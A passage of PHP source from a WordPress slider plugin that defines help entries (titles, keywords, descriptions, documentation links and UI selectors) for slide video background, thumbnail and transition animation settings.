"#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_bg_height" ) ) ) ), 'video_background' => array( 'youtube_id' => array( $t => __("YouTube Video ID", 'revsliderhelp'), $h => "bg.youtube", $k => array("youtube video", "youtube video background", "video background", "video bg", "youtube", "youtube id"), $d => __("The YouTube Video ID for the background video", 'revsliderhelp'), $a => $u . "slide-background/#video", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "#s_bg_youtube_src" ) ), 'vimeo_id' => array( $t => __("Vimeo Video ID", 'revsliderhelp'), $h => "bg.vimeo", $k => array("vimeo video", "vimeo video background", "video background", "video bg", "vimeo", "vimeo id"), $d => __("The Vimeo Video ID for the background video", 'revsliderhelp'), $a => $u . "slide-background/#video", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'vimeo', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "#s_bg_vimeo_src" ) ), 'html5_url' => array( $t => __("HTML Video URL", 'revsliderhelp'), $h => "bg.mpeg", $k => array("html5 video", "video url", "html5 video url", "html5 source", "html5 video source"), $d => __("The video url to be used as the Slide's main background", 'revsliderhelp'), $a => $u . "slide-background/#video", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "#s_bg_mpeg_src" ) ), 'image_from_stream' => array( $t => __("Image/Poster from Stream", 'revsliderhelp'), $h => "bg.imageFromStream", $k => array("stream", "stream background", "poster", "youtube poster", "vimeo poster", "video poster"), $d => __("The Slide's main background will be populated automatically for Video/Social-Stream Sliders", 'revsliderhelp'), $a => $u . "slide-background/#video", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'image::external::youtube::vimeo::html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "*[data-r='bg.imageFromStream']" ) ), 'video_from_stream' => array( $t => __("Video from Stream", 'revsliderhelp'), $h => "bg.videoFromStream", $k => array("stream", "stream background", "video stream"), $d => __("The Slide's main background will be populated automatically for Video-Stream Sliders", 'revsliderhelp'), $a => $u . "slide-background/#video", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "*[data-r='bg.videoFromStream']" ) ), 'additional_settings' => array( 'aspect_ratio' => array( $t => __("Aspect Ratio", 'revsliderhelp'), $h => "bg.video.ratio", $k => array("aspect ratio", "video size", "video aspect ratio"), $d => __("This value should match the video's original aspect ratio", 'revsliderhelp'), $a => $u . "slide-background/#video-settings", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_vid_aratio" ) ), 'dotted_overlay' => array( $t => __("Dotted Overlay", 'revsliderhelp'), $h => "bg.video.dottedOverlay", $k => array("overlay", "video overlay", "dotted overlay"), $d => __("Add a mesh-style overlay to the video for extra styling", 'revsliderhelp'), $a => $u . "slide-background/#video-settings", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#sl_vid_overlay" ) ), 'loop' => array( $t => __("Loop Video", 'revsliderhelp'), $h => "bg.video.loop", $k => array("loop", "video loop", "restart", "restart video"), $d => __("Restart the video every time it ends", 'revsliderhelp'), $a => $u . "slide-background/#video-settings", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_vid_loop" ) ), 'fitCover' => array( $t => __("Video Fit Cover", 'revsliderhelp'), $h => "bg.video.fitCover", $k => array("cover", "force cover"), $d => __("Video will fit in container with CSS property object-fit cover. Disable this option in case video size jumps on slide change.", 'revsliderhelp'), $a => $u . "slide-background/#video-settings", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#sl_vid_fit_cover" ) ), 'next_slide_at_end' => array( $t => __("Next Slide at End", 'revsliderhelp'), $h => "bg.video.nextSlideAtEnd", $k => array("next slide at end", "next slide end"), $d => __("Change to the next Slide when the video ends", 'revsliderhelp'), $a => $u . "slide-background/#video-settings", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#sl_vid_nextslide" ) ), 'rewind_at_start' => array( $t => __("Rewind at Start", 'revsliderhelp'), $h => "bg.video.forceRewind", $k => array("rewind", "rewind at start"), $d => __("Always play the video from the beginning each time the Slide is shown", 'revsliderhelp'), $a => $u . "slide-background/#video-settings", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#sl_vid_forceRewind" ) ), 'mute_at_start' => array( $t => __("Mute at Start", 'revsliderhelp'), $h => "bg.video.mute", $k => array("mute video", "mute at start"), $d => __("Auto-mute the video each time the Slide is shown", 'revsliderhelp'), $a => $u . "slide-background/#video-settings", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#sl_vid_mute" ) ), 'volume' => array( $t => __("Video Volume", 'revsliderhelp'), $h => "bg.video.volume", $k => array("video volume"), $d => __("Set the default volume for the video", 'revsliderhelp'), $a => $u . "slide-background/#video-settings", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_vid_vol" ) ), 'speed' => array( $t => __("Video Speed", 'revsliderhelp'), $h => "bg.video.speed", $k => array("video speed"), $d => __("Optional playback speed for the video", 'revsliderhelp'), $a => $u . "slide-background/#video-settings", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_vid_speed" ) ), 'start_at' => array( $t => __("Start Time", 'revsliderhelp'), $h => "bg.video.startAt", $k => array("video start", "video start time", "start at", "video start at"), $d => __("Start the video at this time (minutes:seconds, such as 01:30)", 'revsliderhelp'), $a => $u . "slide-background/#video-settings", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_vid_startat" ) ), 'end_at' => array( $t => __("End Time", 'revsliderhelp'), $h => "bg.video.endAt", $k => array("video end", "video end time", "end at", "video end at"), $d => __("End the video at this time (minutes:seconds, such as 01:30)", 'revsliderhelp'), $a => $u . "slide-background/#video-settings", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo::html5', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_vid_endat" ) ), 'arguments' => array( $t => __("YouTube/Vimeo Arguments", 'revsliderhelp'), $h => "bg.video.args, bg.video.argsVimeo", $k => array("youtube args", "youtube arguments", "vimeo args", "vimeo arguments"), $d => __("Optional iFrame arguments for YouTube and Vimeo", 'revsliderhelp'), $a => $u . "slide-background/#video-settings", $hl => array( $dp => array(array($p => '#slide#.slide.bg.type', $v => 'youtube::vimeo', $o => 'slide_bg_type')), $m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_ssettings', $f => "#slide_vid_argsyt, #slide_vid_argvim" ) ) ) ) ), 'gst_slide_6' => array( 'module_thumb' => array( $t => __("Module Admin Thumbnail", 'revsliderhelp'), $h => "#slide#.slide.thumb.customAdminThumbSrc", $k => array("thumbnail", "admin thumb", "admin thumbnail"), $d => __("Set a special thumbnail for editor admin purposes only", 'revsliderhelp'), $a => $u . "slide-thumbnails/", $hl => array( $m => "#module_slide_trigger, #gst_slide_6", $st => '#form_slidegeneral_thumbnails', $f => "*[data-r='#slide#.slide.thumb.customAdminThumbSrc']" ) ), 'navigation_thumb' => array( $t => __("Navigation Thumbnail", 'revsliderhelp'), $h => "#slide#.slide.thumb.customThumbSrc", $k => array("thumbnail", "thumb", "navigation thumb", "navigation thumbnail", "nav thumb", "navigation thumb"), $d => __("The thumbnail image that will be used for the Slider's thumbnail navigation", 'revsliderhelp'), $a => $u . "slide-thumbnails/", $hl => array( $m => "#module_slide_trigger, #gst_slide_6", $st => '#form_slidegeneral_thumbnails', $f => "*[data-r='#slide#.slide.thumb.customThumbSrc']" ) ), 'dimension' => array( $t => __("Dimension", 'revsliderhelp'), $h => "thumb.dimension", $k => array("thumbnail", "thumb", "navigation thumb", "navigation thumbnail", "nav thumb", "navigation thumb", "dimension", "thumb size", "thumbnail size"), $d => __("Load the images in their original size or in the size defined in the Slider Settings", 'revsliderhelp'), $a => $u . "slide-thumbnails/", $hl => array( $m => "#module_slide_trigger, #gst_slide_6", $st => '#form_slidegeneral_thumbnails', $f => "#slide_thumb_dimension" ) ) ), 'gst_slide_2' => array( 'slide_transition' => array( $t => __("Slide Transition", 'revsliderhelp'), $h => "added_slide_transition", $k => array("slide", "slide settings", "slide animation", "slide transition", "animation", "transition"), $d => __("Represents the transition that will animate one slide's background out and the next slide's background in when switching sides.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2", $st => '#form_slidebg_transition', $f => ".added_slide_transition{first}" ) ), 'favorit_transitions' => array( $t => __("Favorite Slide Transition", 'revsliderhelp'), $h => "slideChange.favorit", $k => array("slide", "slide settings", "slide animation", "slide transition", "animation", "transition", "favorit", "favorite", "favourite"), $d => __("ON: Show only favorited transitions. OFF: Show all available transitions", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2", $st => '#sl_trans_favorit', $f => "#sl_trans_favorit_inp" ) ), 'slide_transition_timing' => array( $t => __("Slide Transition Timing", 'revsliderhelp'), $h => "#slide_transsettings", $k => array("slide transition", "slide animation", "animation timing", "transition timing"), $d => __("Configure the slide's transition animation timing settings such as 'Duration', 'Pause 'Between' behavior, 'Flow' and 'Index Order'", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidebasic_ts_wrapbrtn > div", $st => '#form_sanimation_sframes_innerwrap', $f => "#slidebasic_ts_wrapbrtn" ) ), 'duration' => array( $t => __("Transition Duration", 'revsliderhelp'), $h => "slideChange.speed", $k => array("slide transition", "slide animation", "animation duration", "transition duration", "animation time", "transition time"), $d => __("The total time, (in milliseconds), it takes to complete the slide's animation transition", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2,#slidebasic_ts_wrapbrtn > div", $st => '#sltrans_all_globals', $f => "#sltrans_duration" ) ), 'adpr' => array( $t => __("Prioritize Performance", 'revsliderhelp'), $h => "slideChange.adpr", $k => array("slide transition", "slide animation", "animation performance", "animation blurry", "animation quality"), $d => __("Win performance in complex transitions by reducing the image quality during animations", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2", $st => '#sltrans_all_globals', $f => "#sltrans_dpr" ) ), 'pause_between' => array( $t => __("Transition Break", 'revsliderhelp'), $h => "slideChange.p", $k => array("slide transition", "slide animation", "animation pause", "transition pause", "through dark", "through light"), $d => __("Add a pause between slides. When active, this option animates an exiting slide out to a dark/light/transparent background, pauses for a moment, then animates the next slide in. Note: Pausing has no effect on the very first animation of a slider.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2,#slidebasic_ts_wrapbrtn > div", $st => '#sltrans_all_globals', $f => "#sltrans_breaking" ) ), 'transition_flow' => array( $t => __("Transition Flow", 'revsliderhelp'), $h => "slideChange.f", $k => array("slide transition", "slide animation", "animation flow", "transition flow"), $d => __("If using a 'Rows', 'Columns' or 'Boxes' transition, this option controls animation direction and timing for all the separate elements, generating a flow effect as each one moves. It defines the direction in which initial movement of elements should be staggered, and which element should be animated first & last, e.g. starting from the center or edges, changing based on slide direction, flowing randomly etc.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2,#slidebasic_ts_wrapbrtn > div", $st => '#sltrans_all_globals', $f => "#sltrans_from" ) ), 'transition_flow_speed' => array( $t => __("Transition Flow Speed", 'revsliderhelp'), $h => "slideChange.d", $k => array("slide transition", "slide animation", "animation flow speed", "transition flow speed"), $d => __("If using a 'Rows', 'Columns' or 'Boxes' transition, this option controls the animation speed of each individual element. Increasing the number, up to a maximum of 100, makes elements move quicker and reduces the time until each begins moving. The minimum, and slowest, setting is 5. Changing this value also automatically recalculates the slide transition duration.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2,#slidebasic_ts_wrapbrtn > div", $st => '#sltrans_all_globals', $f => "#sltrans_fromdelay" ) ), 'transition_index_order' => array( $t => __("Transition Order", 'revsliderhelp'), $h => "slideChange.o", $k => array("slide transition", "slide animation", "animation index order", "transition order"), $d => __("Define whether the slide transitioning in should appear over the slide going out, or if the slide going out should appear over the one coming in. If set to Auto, a selection will be inferred automatically based on other settings.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2,#slidebasic_ts_wrapbrtn > div", $st => '#sltrans_all_globals', $f => "#sltrans_order" ) ), 'transition_in_mask' => array( $t => __("Transition Mask", 'revsliderhelp'), $h => "slideChange.in.m", $k => array("slide transition", "slide animation mask", "animation mask", "transition mask"), $d => __("On animated rows and columns, activating the transition mask does two things: 1) Makes the motion of elements start at the edge of their own row/column rather than the edge of their full container. 2) Ensures elements don't overlap one another.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", $st => '#sltrans_all_globals', $f => "#sltrans_in_mask_wrap" ) ), 'transition_motion' => array( $t => __("Transition Motion Blur", 'revsliderhelp'), $h => "slideChange.in.mou", $k => array("slide transition", "slide animation blur", "animation motion blur", "transition blur", "motion blur"), $d => __("Add a light motion blur effect to slide transition animations. Enabling this setting will update other values as well.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", $st => '#sltrans_all_globals', $f => "#sltrans_in_motionswitch_wrap" ) ), 'transition_motion_blur' => array( $t => __("Transition Motion Blur Val", 'revsliderhelp'), $h => "slideChange.in.mo", $k => array("slide transition", "slide animation blur", "animation motion blur", "transition blur", "motion blur"), $d => __("If 'Transition Motion Blur' is on, the 'Transition Motion Blur Val' determines the width of the blur effect in pixels", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", $st => '#sltrans_all_globals', $f => "#sltrans_filter_motion" ) ), 'easing_in' => array( $t => __("Animation 'In' Easing", 'revsliderhelp'), $h => "slideChange.in.e", $k => array("slide transition", "slide animation", "animation easing", "transition easing"), $d => __("The easing equation for the 'In' animation, i.e. how the animation speeds up and slows down during playback.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_in_ease" ) ), 'cols_in' => array( $t => __("Animation 'In' Columns / Boxes", 'revsliderhelp'), $h => "slideChange.in.col", $k => array("slide transition", "slide animation", "animation columns", "transition colums", "slots", "boxes", "columns"), $d => __("If using a 'Columns' or 'Boxes' transition, this option specifies the number of vertical columns into which the animation should be split.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_in_col" ) ), 'rows_in' => array( $t => __("Animation 'In' Rows / Boxes", 'revsliderhelp'), $h => "slideChange.in.row", $k => array("slide transition", "slide animation", "animation columns", "transition colums", "slots", "boxes", "columns"), $d => __("If using a 'Rows' or 'Boxes' transition, this option specifies the number of horizontal rows into which the animation should be split.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_in_col" ) ), 'xtrans_in' => array( $t => __("Animation 'In' - Horizontal Move", 'revsliderhelp'), $h => "slideChange.in.x", $k => array("slide transition", "slide animation", "animation transform", "transition horizontal"), $d => __("Optionally add horizontal motion to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either random, cycles or direction based movement. 1) Random: {min,max} Applies a random amount of movement within a specified range. E.g, {-45,45} to slide in by an amount between -45% and 45% of the element's width. 2) Cycles: [val,val,val] Cycles through applying specified movement amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [-10,10,25] will apply a -10% motion to the first element, 10% to the next, then 25%, then the sequence repeats. 3) Direction Based: (val) e.g. (45) to add 45% motion when going to the next slide, and -45% when going to the previous slide.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_in_x" ) ), 'ytrans_in' => array( $t => __("Animation 'In' - Vertical Move", 'revsliderhelp'), $h => "slideChange.in.y", $k => array("slide transition", "slide animation", "animation transform", "transition horizontal"), $d => __("Optionally add vertical motion to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either random, cycles or direction based movement. 1) Random: {min,max} Applies a random amount of movement within a specified range. E.g, {-45,45} to slide in by an amount between -45% and 45% of the element's height. 2) Cycles: [val,val,val] Cycles through applying specified movement amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [-10,10,25] will apply a -10% motion to the first element, 10% to the next, then 25%, then the sequence repeats. 3) Direction Based: (val) e.g. (45) to add 45% motion when going to the next slide, and -45% when going to the previous slide.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_in_y" ) ), 'xscale_in' => array( $t => __("Animation 'In' - Horizontal Scale", 'revsliderhelp'), $h => "slideChange.in.sx", $k => array("slide transition", "slide animation", "animation transform", "transition horizontal","slide scale", "transition scale", "scale"), $d => __("Optionally add horizontal scaling (growth or shrinking) to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either fixed, random or cycles based scaling. 1) Fixed: (val) A single value between 0 and 500. A value of 1 has no effect, < 1 scales down (shrinks), and > 1 scales up (grows). 2) Random: {min,max} Applies a random amount of horizontal scaling within a specified range. E.g, {0,2.5} will randomly generate scaling on each element of between 0% and 250%. 3) Cycles: [val,val,val] Cycles through applying specified horizontal scaling amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [0,1.5,0.2] will apply a 0% scaling to the first element, 150% to the next, then 20%, then the sequence repeats.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_in_scalex" ) ), 'yscale_in' => array( $t => __("Animation 'In' - Vertical Scale", 'revsliderhelp'), $h => "slideChange.in.sy", $k => array("slide transition", "slide animation", "animation transform", "transition horizontal", "slide scale", "transition scale", "scale"), $d => __("Optionally add vertical scaling (growth or shrinking) to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either fixed, random or cycles based scaling. 1) Fixed: (val) A single value between 0 and 500. A value of 1 has no effect, < 1 scales down (shrinks), and > 1 scales up (grows). 2) Random: {min,max} Applies a random amount of vertical scaling within a specified range. E.g, {0,2.5} will randomly generate scaling on each element of between 0% and 250%. 3) Cycles: [val,val,val] Cycles through applying specified vertical scaling amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [0,1.5,0.2] will apply a 0% scaling to the first element, 150% to the next, then 20%, then the sequence repeats.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_in_scaley" ) ), 'opactiy_in' => array( $t => __("Animation 'In' - Transparency", 'revsliderhelp'), $h => "slideChange.in.o", $k => array("slide transition", "slide animation", "animation transparency"), $d => __("The standard input range is 0 to 1, where 0 is completely transparent and 1 is fully opaque. In most cases you should use a value between 0 and 1, however, if necessary you can reduce the value down as far as -3, which will allow you to time the opacity animation differently than the 'In’ animation. The lower the value, the longer the transparency animation will be delayed compared to the rest of the ’In’ animation. This can be helpful in harmonizing complex animations.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_in_fade" ) ), 'rotation_in' => array( $t => __("Animation 'In' - Rotation", 'revsliderhelp'), $h => "slideChange.in.r", $k => array("slide transition", "slide animation", "animation rotation", "transition rotation"), $d => __("Optionally add rotation to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either random, cycles or direction based rotation. 1) Random: {min,max} Applies a random amount of rotation within a specified range. E.g, {-45,45} to rotate by an amount between -45 and 45 degrees. 2) Cycles: [val,val,val] Cycles through applying specified movement amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [-10,10,25] will apply a -10 degree rotation to the first element, 10 degrees to the next, then 25 degrees, then the sequence repeats. 3) Direction Based: (val) e.g. (45) to add a 45 degree rotation when going to the next slide, and -45 degree rotation when going to the previous slide.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slidein_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_in_rotation" ) ), 'transition_out_mask' => array( $t => __("Transition Mask", 'revsliderhelp'), $h => "slideChange.out.m", $k => array("slide transition", "slide animation mask", "animation mask", "transition mask"), $d => __("On animated rows and columns, activating the transition mask does two things: 1) Makes the motion of elements start at the edge of their own row/column rather than the edge of their full container. 2) Ensures elements don't overlap one another.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", $st => '#sltrans_all_globals', $f => "#sltrans_out_mask_wrap" ) ), 'auto_out' => array( $t => __("Animation 'Out' Automatically", 'revsliderhelp'), $h => "slideChange.out.a", $k => array("slide transition", "slide animation", "animation out", "transition auto", "auto animation", "auto transition"), $d => __("When toggled to ON this option will automatically generate the best possible 'Out' animation, based on the settings of the 'In' animation. ", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#slidechangeouta" ) ), 'easing_out' => array( $t => __("Animation 'Out' Easing", 'revsliderhelp'), $h => "slideChange.out.e", $k => array("slide transition", "slide animation", "animation easing", "transition easing"), $d => __("The easing equation for the 'Out' animation, i.e. how the animation speeds up and slows down during playback.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_out_ease" ) ), 'cols_out' => array( $t => __("Animation 'Out' Columns / Boxes", 'revsliderhelp'), $h => "slideChange.out.col", $k => array("slide transition", "slide animation", "animation columns", "transition colums", "slots", "boxes", "columns"), $d => __("If using a 'Columns' or 'Boxes' transition, this option specifies the number of vertical columns into which the animation should be split.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_in_col" ) ), 'rows_out' => array( $t => __("Animation 'Out' Rows / Boxes", 'revsliderhelp'), $h => "slideChange.out.row", $k => array("slide transition", "slide animation", "animation columns", "transition colums", "slots", "boxes", "columns"), $d => __("If using a 'Rows' or 'Boxes' transition, this option specifies the number of horizontal rows into which the animation should be split.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_out_col" ) ), 'xtrans_out' => array( $t => __("Animation 'Out' - Horizontal Move", 'revsliderhelp'), $h => "slideChange.out.x", $k => array("slide transition", "slide animation", "animation transform", "transition horizontal"), $d => __("Optionally add horizontal motion to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either random, cycles or direction based movement. 1) Random: {min,max} Applies a random amount of movement within a specified range. E.g, {-45,45} to slide in by an amount between -45% and 45% of the element's width. 2) Cycles: [val,val,val] Cycles through applying specified movement amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [-10,10,25] will apply a -10% motion to the first element, 10% to the next, then 25%, then the sequence repeats. 3) Direction Based: (val) e.g. (45) to add 45% motion when going to the next slide, and -45% when going to the previous slide.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_out_x" ) ), 'ytrans_out' => array( $t => __("Animation 'Out' - Vertical Move", 'revsliderhelp'), $h => "slideChange.out.y", $k => array("slide transition", "slide animation", "animation transform", "transition horizontal"), $d => __("Optionally add vertical motion to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either random, cycles or direction based movement. 1) Random: {min,max} Applies a random amount of movement within a specified range. E.g, {-45,45} to slide in by an amount between -45% and 45% of the element's height. 2) Cycles: [val,val,val] Cycles through applying specified movement amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [-10,10,25] will apply a -10% motion to the first element, 10% to the next, then 25%, then the sequence repeats. 3) Direction Based: (val) e.g. (45) to add 45% motion when going to the next slide, and -45% when going to the previous slide.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_out_y" ) ), 'xscale_out' => array( $t => __("Animation 'Out' - Horizontal Scale", 'revsliderhelp'), $h => "slideChange.out.sx", $k => array("slide transition", "slide animation", "animation transform", "transition horizontal","slide scale", "transition scale", "scale"), $d => __("Optionally add horizontal scaling (growth or shrinking) to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either fixed, random or cycles based scaling. 1) Fixed: (val) A single value between 0 and 500. A value of 1 has no effect, < 1 scales down (shrinks), and > 1 scales up (grows). 2) Random: {min,max} Applies a random amount of horizontal scaling within a specified range. E.g, {0,2.5} will randomly generate scaling on each element of between 0% and 250%. 3) Cycles: [val,val,val] Cycles through applying specified horizontal scaling amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [0,1.5,0.2] will apply a 0% scaling to the first element, 150% to the next, then 20%, then the sequence repeats.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_out_scalex" ) ), 'yscale_out' => array( $t => __("Animation 'Out' - Vertical Scale", 'revsliderhelp'), $h => "slideChange.out.sy", $k => array("slide transition", "slide animation", "animation transform", "transition horizontal", "slide scale", "transition scale", "scale"), $d => __("Optionally add vertical scaling (growth or shrinking) to elements in Columns/Rows/Boxes transitions. Accepts three possible formats denoting either fixed, random or cycles based scaling. 1) Fixed: (val) A single value between 0 and 500. A value of 1 has no effect, < 1 scales down (shrinks), and > 1 scales up (grows). 2) Random: {min,max} Applies a random amount of vertical scaling within a specified range. E.g, {0,2.5} will randomly generate scaling on each element of between 0% and 250%. 3) Cycles: [val,val,val] Cycles through applying specified vertical scaling amounts sequentially from one element to the next, in the order determined by the 'Flow' setting. E.g. [0,1.5,0.2] will apply a 0% scaling to the first element, 150% to the next, then 20%, then the sequence repeats.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, #slideout_ts_wrapbrtn > div", $st => '#form_slidebg_transition', $f => "#sltrans_out_scaley" ) ), 'opactiy_out' => array( $t => __("Animation 'Out' - Transparency", 'revsliderhelp'), $h => "slideChange.out.o", $k => array("slide transition", "slide animation", "animation transform", "transition horizontal"), $d => __("The standard input range is 0 to 1, where 0 is completely transparent and 1 is fully opaque. In most cases you should use a value between 0 and 1, however, if necessary you can reduce the value down as far as -3, which will allow you to time the opacity animation differently than the 'Out’ animation. The lower the value, the quicker the transparency animation will be compared to the rest of the ‘Out’ animation. This can be helpful in harmonizing complex animations.", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array( $m => "#module_slide_trigger, #gst_slide_2, 